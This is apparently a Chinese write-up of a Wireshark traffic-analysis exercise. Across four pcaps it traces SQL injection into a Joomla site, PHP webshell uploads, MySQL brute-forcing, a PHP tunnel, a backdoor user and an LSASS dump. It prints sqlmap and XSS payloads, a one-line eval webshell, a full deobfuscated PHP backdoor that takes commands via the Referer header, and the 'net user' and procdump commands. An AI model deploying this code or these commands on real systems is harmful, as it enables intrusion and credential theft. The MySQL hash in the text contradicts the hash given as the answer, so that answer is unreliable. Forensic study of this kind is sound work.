当前位置: 首页 > news >正文

Wireshark流量分析例题

目录

前言 

一、题目一(1.pcap)

二、题目二(2.pcap)

三、题目三(3.pcap)

四、题目四(4.pcap)


前言 

Wireshark流量包分析对于安全来说是很重要的,我们可以通过Wireshark来诊断网络问题,检测网络攻击、监控网络流量以及捕获恶意软件等等

接下来我们来看一道数据分析题,需要4个流量包 1-4.pcap,网盘链接自行提取

链接:百度网盘 请输入提取码 提取码:hrc4

一、题目一(1.pcap)

题目要求:

1.黑客攻击的第一个受害主机的网卡IP地址

2.黑客对URL的哪一个参数实施了SQL注入

3.第一个受害主机网站数据库的表前缀(加上下划线例如abc)

4.第一个受害主机网站数据库的名字

看到题目SQL注入,那就首先过滤http和https协议

过滤后可以看到两个出现次数比较多的ip,202.1.1.2和192.168.1.8,可以看到202.1.1.2对192.168.1.8进行了攻击

这里第一个问题的答案就出来了,受害主机网卡IP是192.168.1.8 ,202.1.1.2为攻击者IP

然后直接看源IP为202.1.1.2的http请求包

这里随便先看一个包,urlcode解码后如下

可以看到黑客使用了SQL注入,试图构造存储型xss

option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(&XfqR=2916 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',tab

再看一个包,同样urlcode解码

分析后发现仍在尝试SQL注入,注入工具sqlmap,注入点为list[select]

option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(" OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a7671,(SELECT (ELT(883

然后我们去追踪一个SQL注入的TCP流

可以看到数据库为MariaDB,已经报错,而且表前缀为ajtuc_

要找到数据库名的话,我们最好去最后那几条去找,看到url中如果包含schema关键字,那大概率就是数据库名

这里的数据库名使用十六进制解码,解码出来就是joomla

答案:

1.黑客攻击的第一个受害主机的网卡IP地址 
192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入
list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
ajtuc_
4.第一个受害主机网站数据库的名字
joomla

二、题目二(2.pcap)

打开2.pcap

题目要求:

1.黑客第一次获得的php木马的密码是什么

2.黑客第二次上传php木马是什么时间

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求

所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑

正常文件不会以此命名的, 打开数据包看一下,发现了这个字段

Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"

其实一句话木马密码已经出来了,就是zzz

这里他上传的一句话木马应该是

<?php eval($_POST['zzz']);?>

然后又将eval(base64_decode($_POST[z0]));传入zzz参数,目的是将z0传入的数据进行base64的解码

此时z0传入base64编码后的数据,便可以执行恶意代码

解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

第二题是第二次上传木马的时间

没有头绪的话来分析下过滤出来的这几个包,其他参数都一样,重要的是Length这个字段

第一个包毋庸置疑是会比其他包长一点,但是第四个包很奇怪,和其他包相比长了150多字节左右

追踪tcp流

可以明显看到z2很不正常,其他参数都是urlcode和base64编码

z2使用十六进制编码,我们来解码看一下

这样的PHP代码是通过混淆过的,让我们根本看不懂他的代码

经过还原后的代码: 

<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l;) {for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {$o .= $t{$i} ^ $k{$j};}}return $o;
}$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {$u = parse_url($rr);parse_str($u["query"], $q);$q = array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);if ($q && $m) {@session_start();$s =& $_SESSION;$ss = "substr";$sl = "strtolower";$i = $m[1][0] . $m[1][4];$h = $sl($ss(md5($i . $kh), 0, 3));$f = $sl($ss(md5($i . $kf), 0, 3));$p = "";for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];if (strpos($p, $h) === 0) {$s[$i] = "";$p = $ss($p, 3);}if (array_key_exists($i, $s)) {$s[$i] .= $p;$e = strpos($s[$i], $f);if ($e) {$k = $kh . $kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));$o = ob_get_contents();ob_end_clean();$d = base64_encode(x(gzcompress($o), $k));print("<$k>$d</$k>");@session_destroy();}}}
}
?>

检查后发现create_function函数,这个函数是可以执行命令的

官方也提示这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患

说明黑客是利用了create_function函数来上传了自己的木马

时间的话,ctrl+f,选择分组详情,选择字符串,搜索time字符串,时间就出来了

Feb  7, 2018 17:20:44.248365000 中国标准时间

然后我们来分析一下这个木马

木马要利用,就必然会与数据包进行交互,仔细看看这两行代码

$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

这两行代码是获取http请求中的referer和accept_language字段的,与数据包产生了交互

所以可以基本断定这两个字段是黑客用来传输他想执行的命令的

我们随便看一个访问footer.php的包

发现Referer字段长度很不正常,Accept-Language字段正常

所以可以基本确定,木马通过HTTP协议中的referer头传递数据

答案 

1.黑客第一次获得的php木马的密码是什么
zzz
2.黑客第二次上传php木马是什么时间
17:20:44.248365
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
Referer

三、题目三(3.pcap)

打开3.pcap

题目要求:

1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)

2.php代理第一次被使用时最先连接了哪个IP地址

题目要求mysql的数据,直接过滤,tcp contains "mysql" && mysql

发现黑客一直在爆破MySQL密码

我们找到最后一条,可能是爆破成功的密码

用户:admin

密码Hash:4858e7dcb0968daa7b599be4b0edb88a25ad89ac

然后过滤http请求,发现名为tunnel.php的php文件

点开可以清晰地看到php代理第一次连接的IP地址是4.2.2.2,端口53 

答案

1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
   admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
2.php代理第一次被使用时最先连接了哪个IP地址
   4.2.2.2

四、题目四(4.pcap)

打开4.pcap

题目要求:

1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

2.黑客在内网主机中添加的用户名和密码是多少

3.黑客从内网服务器中下载下来的文件名

获取当前目录的文件列表的命令,Windows中是dir,linux中是ls

直接过滤

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

发现有ls,也有dir

追踪tcp流,发现第一次的ls没有执行成功,因为没有服务器回显

第二次的dir执行成功了

 搜索时间

Feb  7, 2018 18:36:59.770782000 中国标准时间

在Windows下添加用户必然要使用net user,管理员用户回显Administrator,所以我们直接过滤

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "user" || http contains "Administrator")

这里看到是没有任何用户的,时间Feb  7, 2018 18:49:27.767754000 中国标准时间

再往后面看发现已经添加了管理员用户kaka,时间

Feb  7, 2018 18:50:42.908737000 中国标准时间 

那么黑客必然是在这个时间段执行了添加用户的命令

然后我们就来看这期间的http请求,直接通过时间过滤

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http && frame.time_relative >= 827.109385 && frame.time_relative <= 902.267039

最终我们发现这个不寻常的请求

通过base64解码发现

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

用户名和密码分别为   kaka:kaka

最后一题是下载,一句话木马是POST请求,而且攻击的IP地址为192.168.2.20,那就直接过滤

ip.dst == 192.168.2.20 && http.request.method == POST

筛出来之后没办法只有一个个看,base64解码 

然后在最后发现了这个包

解码后: 

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E] 

发现使用了procdump.exe

往后看发现了这个包

解码出来是这样的 

C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

最后我们可以确定,黑客下载了lsass.exe_180208_185247.dmp文件

答案

1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
Feb  7, 2018 18:36:59.770782000
2.黑客在内网主机中添加的用户名和密码是多少
kaka:kaka
3.黑客从内网服务器中下载下来的文件名
lsass.exe_180208_185247.dmp

http://www.lryc.cn/news/136692.html

相关文章:

  • 聚观早报|2023戴尔科技峰会助力创新;小米汽车电池供应商敲定
  • 大学生创业出路【第二弹】科创训练营
  • EG3D: Efficient Geometry-aware 3D Generative Adversarial Networks [2022 CVPR]
  • 进行Stable Diffusion的ai训练怎么选择显卡?
  • 【Linux】【驱动】第一个相对完整的驱动编写
  • PHP 高德地图,获取经纬度
  • Node基础--Node基础使用体验
  • 22 从0到1:API测试怎么做?常用API测试工具简介
  • Skywalking Kafka Tracing实现
  • Perl 解析字符串为日期对象并获取多天前的日期字符串
  • C语言问题 - 关于一维数组和二维数组用*a+i形式表达
  • 验证码识别DLL ,滑块识别SDK,OCR图片转文字,机器视觉找物品
  • 【图论】最小生成树的应用
  • C++类模板的特化(三)
  • 基于YOLOV8模型的课堂场景下人脸目标检测系统(PyTorch+Pyside6+YOLOv8模型)
  • java八股文面试[数据结构]——Map有哪些子类
  • 司徒理财:8.23今日黄金原油走势分析附操作策略
  • 使用动态IP是否会影响网络
  • Linux学习笔记-常用指令说明
  • MyBatisPlus进阶版
  • 安防视频云平台EasyNVR视频汇聚平台硬件无法进入服务器的问题处理方法
  • 流媒体内容分发终极解决方案:当融合CDN与P2P视频交付结合
  • 根据源码,模拟实现 RabbitMQ - 内存数据管理(4)
  • Apache Flume架构和原理
  • 代码随想录算法训练营day38 | LeetCode 509. 斐波那契数 70. 爬楼梯 746. 使用最小花费爬楼梯
  • Linux基本指令【下】
  • 向量检索:基于ResNet预训练模型构建以图搜图系统
  • SpringBoot 响应头添加版本号、打包项目后缀添加版本号和时间
  • 优化指南:带宽限制的可行策略
  • 计算机提示mfc120u.dll缺失(找不到)怎么解决